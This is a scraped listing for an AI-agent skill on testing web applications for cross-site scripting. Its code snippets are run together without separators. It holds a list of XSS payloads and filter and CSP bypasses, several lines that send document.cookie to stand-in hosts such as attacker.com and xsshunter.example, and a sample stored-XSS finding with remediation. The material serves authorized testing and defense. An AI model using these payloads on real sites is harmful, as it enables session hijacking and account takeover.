Loading...
Loading...
Tests web applications for Cross-Site Scripting (XSS) vulnerabilities by injecting JavaScript payloads into reflected, stored, and DOM-based contexts to demonstrate client-side code execution, session hijacking, and user impersonation. The tester identifies all injection points and output contexts, crafts context-appropriate payloads, and bypasses sanitization and CSP protections. Activates for requests involving XSS testing, cross-site scripting assessment, client-side injection testing, or JavaScript injection vulnerability testing.
npx skill4agent add mukul975/anthropic-cybersecurity-skills testing-for-xss-vulnerabilitieslocation.hashlocation.searchdocument.referrerwindow.namepostMessagelocalStorage<div>USER_INPUT</div><input value="USER_INPUT">var x = 'USER_INPUT';<a href="USER_INPUT"><div style="color: USER_INPUT"><script>alert(document.domain)</script><img src=x onerror=alert(1)><svg onload=alert(1)>" onfocus=alert(1) autofocus="" onmouseover=alert(1) ""><script>alert(1)</script>';alert(1)//\';alert(1)//</script><script>alert(1)</script>javascript:alert(1)data:text/html,<script>alert(1)</script>--><script>alert(1)</script><!--<ScRiPt>alert(1)</sCrIpT><details open ontoggle=alert(1)><svg><animate onbegin=alert(1) attributeName=x><img src=x onerror=alert(1)><script>alert('XSS-PROFILE-001')</script>"><script src=https://yourxsshunter.xss.ht></script>document.locationdocument.URLdocument.referrerlocation.hashlocation.searchlocation.hrefwindow.namepostMessageinnerHTMLouterHTMLdocument.write()document.writeln()eval()setTimeout()setInterval()Function()element.setAttribute()jQuery.html().append()v-htmldangerouslySetInnerHTMLdangerouslySetInnerHTML{{constructor.constructor('alert(1)')()}}v-htmlunsafe-inlineunsafe-eval*.googleapis.combase-uri<base><script src="https://allowed-domain.com/jsonp?callback=alert(1)"></script><script>new Image().src="https://attacker.com/steal?c="+document.cookie</script>| Term | Definition |
|---|---|
| Reflected XSS | Non-persistent XSS where the injected payload is included in the server's response to the same request, requiring the victim to click a crafted URL |
| Stored XSS | Persistent XSS where the payload is saved on the server and served to other users who view the affected page |
| DOM-Based XSS | XSS that occurs entirely in the browser when client-side JavaScript reads attacker-controlled data and writes it to a dangerous DOM sink |
| Content Security Policy | HTTP response header that restricts which sources the browser can load scripts, styles, and other resources from, providing defense-in-depth against XSS |
| Output Encoding | Converting special characters to their HTML entity equivalents (e.g., |
| Sink | A JavaScript function or DOM property that can cause code execution or HTML rendering if attacker-controlled data reaches it unsanitized |
<script>alert(1)</script>## Finding: Stored XSS in Support Ticket Description
**ID**: XSS-002
**Severity**: High (CVSS 8.1)
**Affected URL**: POST /api/tickets (submission), GET /admin/tickets/8847 (trigger)
**Parameter**: description (POST body)
**XSS Type**: Stored (persistent)
**Description**:
The support ticket description field does not sanitize HTML input before storing
it in the database. When a support agent views the ticket in the admin panel, the
unsanitized HTML is rendered in the agent's browser, allowing arbitrary JavaScript
execution in the context of the admin application.
**Proof of Concept**:
Submitted ticket with payload:
<img src=x onerror="fetch('https://xsshunter.example/callback?c='+document.cookie)">
The payload fired when the agent viewed the ticket, exfiltrating the admin session
cookie to the XSS Hunter server.
**Impact**:
An attacker can steal the session tokens of support agents and administrators,
gaining access to the admin panel with privileges to view customer PII, process
refunds, and modify orders. Affects all 23 support agents who view customer tickets.
**Remediation**:
1. Implement output encoding using a context-aware library (OWASP Java Encoder,
DOMPurify for client-side rendering)
2. Deploy Content Security Policy header:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
3. Set HttpOnly flag on session cookies to prevent JavaScript access
4. Sanitize HTML input server-side using a whitelist approach (allow only safe tags)